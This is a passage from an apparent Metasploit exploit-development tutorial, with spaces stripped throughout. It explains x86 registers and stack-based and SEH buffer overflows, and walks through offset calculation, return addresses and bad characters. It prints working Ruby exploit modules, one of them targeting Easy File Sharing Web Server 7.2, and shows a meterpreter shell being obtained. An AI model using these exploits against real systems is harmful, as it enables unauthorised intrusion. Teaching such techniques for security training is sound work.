Register:Thisisanareaontheprocessorusedtostoreinformation.Inaddition,theprocessorleveragesregisterstohandleprocessexecution,memorymanipulation,APIcalls,andsoon.x86:ThisisafamilyofsystemarchitecturesthatarefoundmostlyonIntel-basedsystemsandaregenerally32-bitsystems,whilex64are64-bitsystems.Assemblylanguage:Thisisalow-levelprogramminglanguagewithsimpleoperations.However,readinganassemblycodeandmaintainingitisatoughnuttocrack.Buffer:Abufferisafixedmemoryholderinaprogram,anditgenerallystoresdataontothestackorheapdependinguponthetypeofmemorytheyhold.Debugger:Debuggersallowstep-by-stepanalysisofexecutables,includingstopping,restarting,breaking,andmanipulatingprocessmemory,registers,stacks,andsoon.ThewidelyuseddebuggersareImmunityDebugger,GDB,andOllyDbg.ShellCode:Thisisthemachinelanguageusedtoexecuteonthetargetsystem.Historically,itwasusedtoexecuteashellprocess,grantingtheattackeraccesstothesystem.So,ShellCodeisasetofinstructionsaprocessorunderstands.Stack:ThisactsasaplaceholderfordataandgenerallyusestheLastinFirstout(LIFO)methodforstorage,whichmeansthelastinserteddataisthefirsttoberemoved.Bufferoverflow:Thisgenerallymeansthatthereismoredatasuppliedinthebufferthanitscapacity.Formatstringbugs:Thesearebugsrelatedtotheprintstatementsincontextwithfileorconsole,which,whengivenavariablesetofdata,maydiscloseimportantinformationregardingtheprogram.Systemcalls:Thesearecallstoasystem-levelmethodinvokedbyaprogramunderexecution.

Thearchitecture

Architecturedefineshowthevariouscomponentsofasystemareorganized.Let'sunderstandthebasiccomponentsfirst,andthenwewilldivedeepintotheadvancedstages.

Systemorganizationbasics

Beforewestartwritingprogramsandperformingothertasks,suchasdebugging,let'sunderstandhowthecomponentsareorganizedinthesystemwiththehelpofthefollowingdiagram:

WecanseeclearlythateverymaincomponentinthesystemisconnectedusingtheSystembus.Therefore,everycommunicationthattakesplacebetweentheCPU,Memory,andI/Odevicesisviathesystembus.

CPUisthecentralprocessingunitinthesystemanditisindeedthemostvitalcomponentinthesystem.So,let'sseehowthingsareorganizedintheCPUbyunderstandingthefollowingdiagram:

TheprecedingdiagramshowsthebasicstructureofaCPUwithcomponentssuchasControlUnit(CU),ExecutionUnit(EU)registers,andFlags.Let'sgettoknowwhatthesecomponentsare,asexplainedinthefollowingtable:

Components Fuctions

ControlUnit Thisisresponsibleforreceivinganddecodingtheinstructionandstoredatainthememory

ExecutionUnit Thisisaplacewheretheactualexecutiontakesplace

Registers Registersareplaceholdermemoryvariablesthataidexecution

Flags Theseareusedtoindicateeventswhenanexecutionistakingplace

Registers

Registersareveryfastcomputermemorycomponents.Theyarealsolistedonthetopofthespeedchartofthememoryhierarchy.Generally,wemeasurearegisterbythenumberofbitstheycanhold;forexample,an8-bitregisteranda32-bitregisterhold8bitsand32bitsofmemoryrespectively.GeneralPurpose,Segment,EFLAGS,andindexregistersarethedifferenttypesofrelevantregisterswehaveinthesystem.Theyareresponsibleforperformingalmosteveryfunctioninthesystem,astheyholdallthevaluestobeprocessed.Let'sseetheirtypes:

Registers Purpose

EAX Thisisanaccumulatorandusedtostoredataandoperands.Itis32bitsinsize.

EBX Thisisthebaseregisterandapointertothedata.Itis32bitsinsize.

ECX Thisisacounteranditisusedforloopingpurposes.Itis32bitsinsize.

EDX ThisisadataregisterandstorestheI/Opointer.Itis32bitsinsize.

ESI/EDI Theseareindexregistersthatserveasdatapointersformemoryoperations.Theyarealso32bitsinsize.

ESP Thisregisterpointstothetopofthestackanditsvalueischangedwhenanitemiseitherpushedorpoppedfromthestack.Itis32bitsinsize.

EBP Thisisthestackdatapointerregisterandis32bitsinsize.

EIP Thisisthetheinstructionpointer,32bitsinsize,andisthemostvitalpointerinthischapter.Italsoholdstheaddressofthenextinstructiontobeexecuted.

SS,DSES,CS,FS,andGS Thesearethesegmentregisters.Theyare16bitsinsize.

Tip

Readmoreaboutthebasicsofarchitectureandusesofvarioussystemcallsandinstructionsforexploitationathttp://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/#x86.

Exploitingstack-basedbufferoverflowswithMetasploitThebufferoverflowvulnerabilityisananomalywhere,whilewritingdatatothebuffer,itoverrunsthebuffersizeandoverwritesthememoryaddresses.Averysimpleexampleofbufferoverflowisshowninthefollowingdiagram:

Theleftsideoftheprecedingscreenshotshowswhatanapplicationlookslike.However,therightsidedenotestheapplication'sbehaviorwhenabufferoverflowconditionismet.

So,howcanwetakeanadvantageofbufferoverflowvulnerability?Theanswerisstraightforward.IfweknowtheexactamountofdatathatwilloverwriteeverythingjustbeforethestartofEIP,wecanputanythingintheEIPandcontroltheaddressofthenextinstructiontobeprocessed.Therefore,thefirstthingistofigureoutexactnumberofbytesthataregoodenoughtofilleverythingbeforethestartoftheEIP.WewillseeintheupcomingsectionshowcanwefindtheexactnumberofbytesusingMetasploitutilities.

Crashingthevulnerableapplication

Wewillfirstdownloadasimpleapplicationthatusesvulnerablefunctions.Inthenextsection,wewilltrycrashingthisvulnerableapplication.Let'stryrunningtheapplicationfromcommandshellasfollows:

WecanseethatthisisasmallexampleapplicationrunningonTCPport200.WewillconnecttothisapplicationviaTELNETonport200andsupplyrandomdatatoit,asshowninthefollowingscreenshot:

Afterwesupplythedata,wewillseethattheconnectiontothetargetislost.Thisisbecausetheapplicationserverhascrashed.Let'sseewhatitlookslikeonthetarget'ssystem:

Oninvestigatingtheerrorreportbyclickingclickhere,wecanseethefollowinginformation:

Thecauseofcrashwasthattheapplicationfailedtoprocesstheaddressofthenextinstruction,locatedat41414141.Doesthisringanybells?Thevalue41is

thehexadecimalrepresentationofcharacterA.Whatactuallyhappenedisthatourinput,extendingthroughtheboundaryofthebuffer,wentontooverwritetheEIPregister.Therefore,sincetheaddressofthenextinstructionwasoverwritten,theprogramtriedtofindtheaddressofthenextinstructionat41414141,whichwasnotavalidaddress.Hence,itcrashed.

Note

Downloadtheexampleapplicationweusedintheexamplefromhttp://redstack.net/blog/category/How%20To.html.

Buildingtheexploitbase

Inordertoexploittheapplicationandgainaccesstothetargetsystem,weneedtoknowaboutthethingslistedinthefollowingtable:

Component Use

Offset

Wecrashedtheapplicationintheprevioussection.However,inordertoexploittheapplication,wewillneedtheexactsizeoftheinputthatisgoodenoughtofillthespace+EBPregister,sothatwhateverweprovideafterourinputgoesdirectlyintotheEIPregister.WerefertotheamountofinputthatisgoodenoughtolandusrightbeforetheEIPregisterastheoffset.

Jumpaddress/Ret

ThisistheactualaddresstooverwriteintheEIPregister.ThisisgenerallytheaddressofaJMPESPinstructionfromaDLLfilethathelpsjumpingtothepayload.

Badcharacters

Badcharactersarethosethatcanleadtotheterminationofapayload.SupposeaShellCodecontainingnullbytes(0x00)issentoverthenetworkthatwillterminatethebufferprematurelycausingunexpectedresults.Badcharactersshouldbeavoided.

Let'sunderstandtheexploitationpartwiththefollowingdiagram:

Lookingattheprecedingdiagram,wehavetoperformthefollowingsteps:

1. OverwritethebufferandEBPregisterwiththeuserinputjustbeforethestartofEIPregister.

2. SupplytheJMPESPaddresstotheEIP.3. Supplysomepaddingbeforethepayload.

4. Andthepayloaditselfwithoutbadcharacters.

Intheupcomingsection,wewillseeallthesestepsindetail.

Calculatingtheoffset

Aswesawintheprecedingsection,thefirststepinexploitationistofindouttheoffset.Metasploitaidsthisprocessbyusingtwodifferenttools,calledpattern_createandpattern_offset.

Usingthepattern_createtool

WesawintheprevioussectionthatwewereabletocrashtheapplicationbysupplyingarandomamountofAcharacters.However,we'velearnedthatinordertobuildaworkingexploit,weneedtofigureouttheexactamountofthesecharacters.Metasploit'sinbuilttoolcalledthepattern_createdoesthisforusinnotime.ItgeneratespatternsthatcanbesuppliedinsteadofAcharactersand,basedonthevaluewhichoverwrotetheEIPregister,wecaneasilyfigureouttheexactnumberofbytesusingitscounterparttoolpattern_offset.Let'sseehowwecandothat:

Wecanseethatrunningthepattern_create.rbscriptfromthe/tools/exploit/directoryforapatternof1,000byteswillgeneratetheprecedingoutput.Thisoutputcanbefedtothevulnerableapplicationasfollows:

Lookingfromthetarget'sendpoint,wecanseetheoffsetvalue,asshowninthefollowingscreenshot:

Wehave72413372astheaddressthatoverwroteEIPregister.

Usingthepattern_offsettool

Intheprecedingsection,wesawthatweoverwrotetheEIPaddresswith72413372.Let'sfigureouttheexactnumberofbytesrequiredtooverwritetheEIPwiththepattern_offsettool.Thistooltakestwoarguments;thefirstoneistheaddressandthesecondoneisthelength,whichwas1000asgeneratedusingpattern_create.Let'sfindouttheoffsetasfollows:

Theexactmatchisfoundtobeat520.Therefore,any4bytesafter520charactersbecomesthecontentsoftheEIPregister.

FindingtheJMPESPaddress

Let'sreviewthediagramweusedtounderstandtheexploitationagainasfollows:

Wesuccessfullycompletedthefirststepintheprecedingdiagram.Let'sfindtheJMPESPaddress.WerequiretheaddressofaJMPESPinstructionbecauseourpayloadwillbeloadedtotheESPregisterandwecannotsimplypointtothepayloadafteroverwritingthebuffer.Hence,wewillrequiretheaddressofaJMPESPinstructionfromanexternalDLL,whichwillasktheprogramtomakeajumptothecontentofESPthatistothestartofourpayload.

Inordertofindthejumpaddress,wewillrequireadebuggersothatwecanseewhichDLLfilesareloadedwiththevulnerableapplication.ThebestchoiceaccordingtomeisImmunityDebugger.ImmunityDebuggercomeswithatonofpluginsthataidexploitwriting.

UsingImmunityDebuggertofindexecutablemodules

ImmunityDebuggerisanapplicationthathelpsustofindoutthebehaviorofanapplicationatruntime.Thishelpsusidentifyflaws,thevalueofregisters,reverseengineertheapplication,andsoon.AnalyzingtheapplicationthatweareexploitingintheImmunityDebuggerwillnotonlyhelpusunderstandthevaluescontainedinthevariousregistersbetter,butwillalsotellusaboutavarietyofinformationaboutthetargetapplication,suchasthestatementwherethecrashtookplaceandtheexecutablemoduleslinkedtoanexecutablefile.

AnexecutablecanbeloadedintotheImmunityDebuggerdirectlybyselectingOpenfromtheFilemenu.WecanalsoattacharunningappbyattachingitsprocesstotheImmunityDebuggerbyselectingtheAttachoptionfromtheFilemenu.WhenwenavigatetoFile|Attach,itwillpresentuswiththelistofrunningprocessesonthetargetsystem.Wejustneedtoselecttheappropriateprocess.However,animportantpointhereisthatwhenaprocessattachestotheImmunityDebugger,bydefault,itlandsinapausestate.Therefore,makesureyoupresstheplaybuttontochangethestateoftheprocessfromthepausedstatetotherunningstate.Let'sseehowwecanattachaprocesstoImmunityDebugger:

AfterpressingtheAttachbutton,let'sseewhichDLLfilesareloadedwiththevulnerableapplicationbynavigatingtoViewandselectingtheExecutableModulesoption.ThiswillpresentuswiththefollowinglistofDLLfiles:

NowthatwehavethelistofDLLfiles,wenowneedtofindtheJMPESPaddress

fromoneofthem.

Usingmsfbinscan

WesawintheprevioussectionthatwefoundtheDLLmodulesassociatedwiththevulnerableapplication.EitherwecanuseImmunityDebuggertofindtheaddressofJMPESPinstructions,whichisalengthyandtime-consumingprocess,orwecansimplyusemsfbinscantosearchtheaddressesforJMPESPinstructionfromaDLLfile,whichisamuchfasterprocessandeliminatesmanualsearch.

Runningthehelpcommandonmsfbinscangetsthefollowingoutput:

WecanperformvarietyoftaskssuchasfindingthePOP-POP-RETinstructionaddressesforSEH-basedbufferoverflows,displayingthecodeataparticularaddressandmuchmorewithmsfbinscan.WejustneedtofindtheaddressofJMPESPinstruction.Wecanachievethisbyusingthe-jswitchfollowedbytheregistername,whichisESP.Let'sbeginthesearchonws2_32.dllfileinordertofindtheJMPESPaddress:

Theresultofthecommandreturned0x71ab9372.ThisistheaddressofaJMPESPinstructioninthews2_32.dllfile.WesimplyneedtooverwritetheEIPregisterwiththisaddressandthepayloadwillsuccessfullyfindandexecuteourshellcode.

Stuffingthespace

Let'srevisetheexploitationdiagramandunderstandwhereexactlywelieintheexploitationprocess:

Wehavesuccessfullycompletedthesecondstep.However,animportantpointhereisthatsometimesitmayhappenthattheshellcodemaynotalwayslandatatthelocationinmemorypointedtobyESP.Inthissituation,wherethereisagapbetweentheEIPandESP,weneedtofillthisspacewithrandompaddingdataorNOPs.

SupposewesendABCDEFtoESP,butwhenweanalyzeitusingImmunityDebugger,wegetthecontentsasDEFonly.Inthiscase,wehavethreemissingcharacters.Therefore,wewilltopadthepayloadwiththreeNOPbytesorotherrandomdata.

Let'sseeifpaddingisnecessaryinthevulnerableapplication:

Intheprecedingscreenshot,wecreateddatabasedonthevalueswehaveforthebuffersize.Weknowthattheoffsetis520.Therefore,wesupplied520AsfollowedbytheJMPESPaddressinlittleendianformat,whichisfollowedbyrandomtext,thatis,"ABCDEF".Aftersendingthegeneratedrandomdata,weanalyzetheESPregisterinimmunitydebuggerasfollows:

WecanseethattheletterAfromtherandomtext"ABCDEF"ismissing.Hence,wejustneedsinglebytepaddingtoachievealignment.ItisagoodpracticetopadthespacebeforeShellCodewithfewextraNOPstoavoidissueswithshellcodedecodingandirregularities.

RelevanceofNOPs

NOPsorNOP-sledareNoOperationinstructionsthatsimplyslidetheprogramexecutiontothenextmemoryaddress.WeuseNOPstoreachthedesiredplaceinthememoryaddresses.WesupplyNOPscommonlybeforethestartoftheShellCodetoensureitssuccessfulexecutioninthememorywhileperformingnooperationsandjustslidingthroughthememoryaddresses.The\x90instructionrepresentsaNOPinstructioninthehexadecimalformat.

Determiningbadcharacters

Sometimesitmayhappenthataftersettingupeverythingrightforexploitation,wemaynevergettoexploitthesystem.Alternatively,itmighthappenthatourexploithascompletedbutthepayloadfailstoexecute.Thiscanhappenincaseswherethedatasuppliedintheexploitiseithertruncatedorimproperlyparsedbythetargetsystemcausingunexpectedbehavior.Thiswillmaketheentireexploitunusableandwewillstruggletogettheshellormeterpreterontothesystem.Inthiscase,weneedtodeterminethebadcharactersthatarepreventingtheexecution.Tohandlesuchsituations,thebestmethodistofindmatchingsimilarexploitandusethebadcharactersfromitinyourexploit.

WeneedtodefinethesebadcharactersinthePayloadsectionoftheexploit.Let'sseeanexample:

'Payload'=>

{

'Space'=>800,

'BadChars'=>"\x00\x20\x0a\x0d",

'StackAdjustment'=>-3500,

},

Theprecedingsectionistakenfromthefreeftpd_user.rbfileunder/exploit/windows/ftp.

Tip

Moreinformationonfindingbadcharacterscanbefoundathttp://resources.infosecinstitute.com/stack-based-buffer-overflow-in-win-32-platform-part-6-dealing-with-bad-characters-jmp-instruction/.

Determiningspacelimitations

TheSpacevariableinthePayloadfielddeterminestotalsizeoftheshellcode.WeneedtoassignenoughspaceforthePayloadtofitin.IfthePayloadislargeandthespaceallocatedislessthantheshellcodeofthepayload,itwillnotexecute.Inaddition,whilewritingcustomexploits,theshellcodeshouldbeassmallaspossible.Wemayhaveasituationwheretheavailablespaceisonlyfor200bytesbuttheavailableshellcodeneedsatleast800bytesofspace.Inthissituation,wecanfitasmallfirststageshellcodewithinthebuffer,whichwillexecuteanddownloadthesecond,largerstage,tocompletetheexploitation.

Tip

Forsmallershellcodeforvariouspayloads,visithttp://www.shell-storm.org/shellcode/.

WritingtheMetasploitexploitmodule

Let'sreviewourexploitationprocessdiagramandcheckifwearegoodtofinalizethemoduleornot:

WecanseewehavealltheessentialsfordevelopingtheMetasploitmodule.ThisisbecausethepayloadgenerationisautomatedinMetasploitandcanbechangedontheflyaswell.So,let'sgetstarted:

require'msf/core'

classMetasploit3<Msf::Exploit::Remote

Rank=NormalRanking

includeMsf::Exploit::Remote::Tcp

definitialize(info={})

super(update_info(info,

'Name'=>'StackBasedBufferOverflow

Example',

'Description'=>%q{

StackBasedOverflowExampleApplicationExploitation

Module

},

'Platform'=>'win',

'Author'=>

[

'NipunJaswal'

],

'Payload'=>

{

'space'=>1000,

'space'=>1000,

'BadChars'=>"\x00\xff",

},

'Targets'=>

[

['WindowsXPSP2',{'Ret'=>0x71AB9372,'Offset'

=>520}]

],

'DisclosureDate'=>'Apr192016'

))

register_options(

[

Opt::RPORT(200)

],self.class)

end

Beforestartingwiththecode,let'shavealookatlibrariesweusedinthismodule:

IncludeStatement Path Usage

Msf::Exploit::Remote::Tcp /lib/msf/core/exploit/tcp.rb

TheTCPlibraryfileprovidesbasicTCPfunctionssuchasconnect,disconnect,writedata,andsoon.

Inexactlythesamewaywebuiltmodulesinthesecondchapter,theexploitmodulesbeginbyincludingthenecessarylibrarypathsandthenincludingthenecessaryfilesfromthosepaths.WedefinethetypeofmoduletobeMsf::Exploit::Remote,meaningaremoteexploit.Next,wehavetheinitializeconstructormethod,inwhichwedefinename,description,authorinformation,andsoon.However,wecanseeplentyofnewdeclarationsintheinitializemethod.Let'sseewhattheyare:

Declaration Value Usage

Platform winDefinesthetypeofplatformtheexploitisgoingtotarget.Thevaluewindenotesthattheexploitwillbeusableonwindowsbasedoperatingsystems.

DisclosureDate Apr192016 Thedateofdisclosureofthevulnerability.

Targets Ret:0x71AB9372 RetfieldforaparticularOSdefinestheJMPESPaddresswefoundintheprevioussection.

Targets Offset:520OffsetfieldforaparticularOSdefinesthenumberofbytesrequiredtofillthebufferjustbeforeoverwritingEIP.Wefoundthisvalueintheprevioussection.

Payload Space:1000Thespacevariableinthepayloaddeclarationdefinestheamountofmaximumspacethepayloadcanuse.Thisisfairlyimportant,sincesometimeswehaveverylimitedspacetoloadourshellcode.

Payload BadChars:\x00\xff

TheBadCharsvariableinthepayloaddeclarationdefinesthebadcharacterstoavoidinthepayloadgenerationprocess.Thepracticeofdeclaringbadcharacterswillensurestabilityandremovalofbytesthatmaycausetheapplicationtocrashornoexecutionofthepayloadtotakeplace.

Wealsodefinethedefaultportfortheexploitmoduleas200intheregister_optionssection.Let'shavealookattheremainingcode:

defexploit

connect

buf=make_nops(target['Offset'])

buf=buf+[target['Ret']].pack('V')+make_nops(10)+

payload.encoded

sock.put(buf)

handler

disconnect

end

end

Let'sunderstandsomeoftheimportantfunctionsusedintheprecedingcode:

Function Library Usage

make_nops /lib/msf/core/exploit.rbThemethodisusedtocreatennumberofNOPsbypassingnasthecount

Connect /lib/msf/core/exploit/tcp.rb Themethodiscalledtomakeaconnectiontothetarget

disconnect /lib/msf/core/exploit/tcp.rbThemethodiscalledtodisconnectanexistingconnectiontothetarget

handler /lib/msf/core/exploit.rb

Thispassestheconnectiontotheassociatedpayloadhandlertocheckiftheexploitsucceededandaconnectionisestablished

Wesawintheprevioussectionthatrunmethodisusedasthedefaultmethodforauxiliarymodules.However,fortheexploits,theexploitmethodisconsideredthedefaultmainmethod.

Webeginbyconnectingtothetargetusingconnect.Usingthemake_nopsfunction,wecreated520NOPsbypassingtheOffsetfieldofthetargetdeclarationthatwedefinedintheinitializesection.Westoredthese520NOPsinthebufvariable.Inthenextinstruction,weappendedtheJMPESPaddresstobufbyfetchingitsvaluefromtheRetfieldofthetargetdeclaration.Usingpack('V'),wegetthelittleendianformatfortheaddress.AlongwiththeRetaddress,weappendafewNOPstoserveaspaddingbeforetheShellCode.OneoftheadvantagesofusingMetasploitistoswitchpayloadonthefly.Therefore,simplyappendingthepayloadusingpayload.encodedwillappendthecurrentlyselectedpayloadtothebufvariable.

Next,wesimplysendthevalueofbuftotheconnectedtargetusingsock.put.Werunthehandlermethodtocheckifthetargetwasexploitedsuccessfullyandifaconnectionwasestablishedtoitornot.Atlast,wesimplydisconnectfromthetargetusingdisconnect.Let'sseeifweareabletoexploittheserviceornot:

Wesettherequiredoptionsandpayloadaswindows/meterpreter/bind_tcpthatdenotesadirectconnectiontothetarget.Let'sseewhathappenswhenweexploitthesystemusingtheexploitcommand:

Jackpot!Wegotmeterpreteraccesstothetargetwithease.Nowthatwe'vecompletedthefirstexploitmodulesuccessfully,wewillnowjumpintoaslightlymoreadvancedexploitmoduleinthenextexample.

ExploitingSEH-basedbufferoverflowswithMetasploitExceptionhandlersarecodemodulesthatcatchexceptionsanderrorsgeneratedduringtheexecutionoftheprogram.Thisallowstheprogramtocontinueexecutioninsteadofcrashing.Windowsoperatingsystemshavedefaultexceptionhandlersandweseethemgenerallywhenanapplicationcrashesandthrowsapopupthatsays"XYZprogramhasencounteredanerrorandneedstoclose".Whentheprogramgeneratesanexception,theequivalentaddressofthecatchcodeisloadedandcalledfromthestack.However,ifwesomehowmanagetooverwritetheaddressinthestackforthecatchcodeofthehandler,wewillbeabletocontroltheapplication.Let'sseehowthingsarearrangedinastackwhenanapplicationisimplementedwithexceptionhandlers:

Intheprecedingdiagram,wecanseethatwehavetheaddressofthecatchblockinthestack.Wecanalsosee,ontherightside,thatwhenwefeedenoughinputtotheprogram,itoverwritestheaddressofthecatchblockinthestackaswell.Therefore,wecaneasilyfindouttheoffsetvalueforoverwritingtheaddressofthecatchblockusingthepattern_createandpattern_offsettoolsinMetasploit.Let'sseeanexample:

Wecreateapatternof4000charactersandsendittothetargetusingtheTELNET

command.Let'sseetheapplication'sstackinimmunitydebugger:

Wecanseeintheapplication'sstackpanethattheaddressoftheSEhandlerwasoverwrittenwith45346E45.Let'susepattern_offsettofindtheexactoffsetasfollows:

Wecanseethattheexactmatchisat3522.However,animportantpointtonotehereisthataccordingtothedesignofaSEHframe,wehavethefollowingcomponents:

Accordingtotheprecedingdiagram,anSEHrecordcontainsthefirst4bytesastheaddressofthenextSEHhandlerandthenext4bytesastheaddressofthecatchblock.Anapplicationmayhavemultipleexceptionhandlers.Therefore,aparticularSEHrecordstoresthefirst4bytesastheaddressofthenextSEHrecord.Let'sseehowwecantakeanadvantageofSEHrecords:

1. Wewillcauseanexceptionintheapplicationsothatacallismadetotheexceptionhandler.

2. WewilloverwritetheaddressofthehandlerfieldwiththeaddressofaPOP/POP/RETNinstruction.ThisisbecauseweneedtoswitchexecutiontotheaddressofthenextSEHframe(4bytesbeforetheaddressofthecatchhandler).WewillusePOP/POP/RETbecausethememoryaddresswherethecalltothecatchblockissavedisstoredinthestackandtheaddressofthepointertothenexthandlerisatESP+8(ESPisreferredasthetopofstack).Therefore,twoPOPoperationswillredirectexecutiontothestartof4bytesthataretheaddressofthenextSEHrecord.

3. Whilesupplyingtheinputintheveryfirststep,wewilloverwritetheaddressofthenextSEHframewiththeJMPinstructiontoourpayload.Therefore,whenthesecondstepcompletes,theexecutionwillmakeajumpofspecifiednumberofbytestotheShellCode.

4. SuccessfullyjumpingtotheShellCodewillexecutethepayloadandwewillgainaccesstothetarget.

Let'sunderstandthesestepswiththefollowingdiagram:

Intheprecedingdiagram,whenanexceptionoccursitcallstheaddressofthehandler(alreadyoverwrittenwiththeaddressofPOP/POP/RETinstruction).ThiscausestheexecutionofPOP/POP/RETandredirectsexecutiontotheaddressofthenextSEHrecord(alreadyoverwrittenwithashortjump).Therefore,whentheJMPexecutes,itpointstotheshellcode,andtheapplicationtreatsitasanotherSEHrecord.

Buildingtheexploitbase

Nowthatwehavefamiliarizedourselveswiththebasics,let'sseewhatessentialsweneedtobuildaworkingexploitforSEH-basedvulnerabilities:

Component Use

Offset Inthismodule,offsetwillrefertotheexactsizeofinputthatisgoodenoughtooverwritetheaddressofthecatchblock.

POP/POP/RET

address

Inordertoredirectexecutiontotheshortjumpinstruction,anaddressforaPOP/POP/RETsequenceisrequired.However,mostmodernoperatingsystemsimplementDLLcompilingwithSafeSEHmechanism.ThisinstructionworksbestfromtheSafeSEHfreeDLLmodules.

Shortjumpinstruction

Inordertomovetothestartofshellcode,wewillneedtomakeashortjumpofaspecifiednumberofbytes.Hence,ashortjumpinstructionwillberequired.

Wealreadyknowthatwerequireapayload,asetofbadcharacterstoprevent,spaceconsiderations,andsoon.

Calculatingtheoffset

TheexamplevulnerableapplicationwearegoingtoworkoninthismoduleisEasyFileSharingWebServer7.2.Thisapplicationisawebserverthathasavulnerabilityintherequesthandlingsections,whereamaliciousHEADrequestcancauseanoverflowinthebufferandoverwritetheaddressintheSEHchain.

Usingpattern_createtool

Wewillfindtheoffsetusingthepattern_createandpattern_offsettoolsaswedidpreviouslywhileattachingthevulnerableapplicationtothedebugger.Let'sseehowwecanachievethis:

Wecreatedapatternof10000characters.Let'snowfeedthepatterntotheapplicationonport80andanalyzeitsbehaviorintheimmunitydebugger.Wewillseethattheapplicationhalts.Let'sseetheSEHchainsbynavigatingtoViewfromthemenubarandselectingSEHchain:

ClickingontheSEHchainoption,wewillbeabletoseetheoverriddencatchblockaddressandtheaddressofthenextSEHrecordfieldsoverriddenwiththedatawesupplied:

Usingpattern_offsettool

Let'sfindtheoffsettotheaddressofthenextSEHframeandtheoffsettotheaddressofthecatchblockasfollows:

WecanclearlyseethatthefourbytescontainingthememoryaddresstothenextSEHrecordstartsfrom4061bytesandtheoffsettothecatchblockstartsrightafterthosefourbytes,thatis,from4065.

FindingthePOP/POP/RETaddress

Asdiscussedpreviously,wewillrequiretheaddresstothePOP/POP/RETinstructiontoloadtheaddressinthenextSEHframerecordandjumptothepayload.WeknowthatweneedtoloadtheaddressfromanexternalDLLfile.However,mostofthelatestoperatingsystemscompiletheirDLLfileswithSafeSEHprotection.Therefore,wewillrequiretheaddressofPOP/POP/RETinstructionfromaDLLmodule,whichisnotimplementedwiththeSafeSEHmechanism.

Tip

TheexampleapplicationcrashesonthefollowingHEADrequest,thatis,HEADfollowedbythejunkpatterncreatedbythepattern_createtool,whichisfollowedbyHTTP/1.0\r\n\r\n

TheMonascript

MonascriptisaPython-drivenpluginforimmunitydebuggerandprovidesavarietyofoptionsforexploitation.Thescriptcanbedownloadedfromhttps://github.com/corelan/mona/blob/master/mona.py.Itiseasytoinstallthescriptbyplacingitintothe\ProgramFiles\ImmunityInc\ImmunityDebugger\PyCommandsdirectory.

Let'snowanalyzetheDLLfilesbyusingMonaandrunningthe!monamodulescommandasfollows:

WecanseefromtheprecedingscreenshotthatwehaveveryfewDLLfiles,

whicharenotimplementedwiththeSafeSEHmechanism.Let'susethesefilestofindtherelevantaddressofthePOP/POP/RETinstruction.

Tip

MoreinformationonMonascriptcanbefoundathttps://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/.

Usingmsfbinscan

WecaneasilyfindthePOP/POP/RETinstructionsequencewithmsfbinscanusingthe-pswitch.Let'suseifontheImageLoad.dllfileasfollows:

Let'suseasafeaddress,eliminatinganyaddressthatcancauseissueswiththeHTTPprotocol,suchasrepetitionofzerosconsecutively,asfollows:

Wewilluse0x10019798asthePOP/POP/RETaddress.Wenowhavetwoimportantcomponentsforwritingtheexploit,whicharetheoffsetandtheaddresstobeloadedintothecatchblock,whichistheaddressofourPOP/POP/RETinstruction.Weonlyneedtheinstructionforshortjump,whichistobeloadedintotheaddressofthenextSEHrecordthatwillhelpustojumptotheshellcode.Metasploitlibrarieswillprovideuswiththeshortjumpinstructionusinginbuiltfunctions.

WritingtheMetasploitSEHexploitmodule

Nowthatwehavealltheimportantdataforexploitingthetargetapplication,let'sgoaheadandcreateanexploitmoduleinMetasploitasfollows:

require'msf/core'

classMetasploit4<Msf::Exploit::Remote

Rank=NormalRanking

includeMsf::Exploit::Remote::Tcp

includeMsf::Exploit::Seh

definitialize(info={})

super(update_info(info,

'Name'=>'EasyFileSharingHTTPServer7.2SEH

Overflow',

'Description'=>%q{

ThismoduledemonstrateSEHbasedoverflowexample

},

'Author'=>'Nipun',

'License'=>MSF_LICENSE,

'Privileged'=>true,

'DefaultOptions'=>

{

'EXITFUNC'=>'thread',

},

'Payload'=>

{

'Space'=>390,

'BadChars'=>

"\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

},

'Platform'=>'win',

'Targets'=>

[

['EasyFileSharing7.2HTTP',{'Ret'=>0x10019798,

'Offset'=>4061}],

],

'DefaultOptions'=>{

'RPORT'=>80

},

'DisclosureDate'=>'Dec22015',

'DefaultTarget'=>0))

end

end

Havingworkedwiththeheaderpartofvariousmodules,westartbyincludingtherequiredsectionsofthelibraryfiles.Next,wedefinetheclassandthemoduletypeaswedidinthepreviousmodules.Webegintheinitializesectionbydefiningthename,description,authorinformation,licenseinformation,payloadoptions,disclosuredate,anddefaulttarget.WeusetheaddressofthePOP/POP/RETinstructionintheRet/returnaddressvariableandOffsetas4061underTargetfield.Wehaveused4061insteadof4065becauseMetasploitwillautomaticallygeneratetheshortjumpinstructiontotheshellcode;therefore,wewillstartfourbytespriorto4065bytessothatshortjumpcanbeplacedintothecarrierfortheaddressofthenextSEHrecord.

Beforemovingfurther,let'shavealookattheimportantfunctionswearegoingtouseinthemodule.We'vealreadyseentheusageofmake_nops,connect,disconnectandhandler:

Function Library Usage

generate_seh_record() /lib/msf/core/exploit/seh.rbThelibrarymixinprovideswaystogenerateSEHrecords

Let'scontinuewiththecodeasfollows:

defexploit

connect

weapon="HEAD"

weapon<<make_nops(target['Offset'])

weapon<<generate_seh_record(target.ret)

weapon<<make_nops(19)

weapon<<payload.encoded

weapon<<"HTTP/1.0\r\n\r\n"

sock.put(weapon)

handler

disconnect

end

end

Theexploitfunctionstartsbyconnectingtothetarget.Next,itgeneratesamaliciousHEADrequestbyappending4061NOPstotheHEADrequest.Next,thegenerate_seh_record()functiongeneratesan8byteSEHrecord,wherethefirst

fourbytesformtheinstructiontojumptothepayload.Generally,thesefourbytescontaininstructionssuchas"\xeb\x0A\x90\x90",where\xebdenotesashortjumpinstruction,\x0Adenotesthe12bytestojump,and\x90\x90NOPinstructioncompletesthefourbytesaspadding.

UsingNASMshellforwritingassemblyinstructions

MetasploitprovidesagreatutilityforwritingshortassemblycodesusingtheNASMshell.Thegenerate_seh_record()methodcreatedanSEHframeautomaticallyandusedasmallassemblycodeintheprevioussection;\xeb\x0a,whichdenotedashortjumpof12bytes.However,incaseofgenerationofamanualSEHrecord,insteadofsearchingtheinternetforopcodes,wecanusetheNASMshelltowriteassemblycodeswithease.

Inthepreviousexample,wehadasimpleassemblycall,whichwasJMPSHORT12.However,wedidnotknowwhatop-codesmatchthisinstruction.Therefore,let'suseNASMshellandfindoutasfollows:

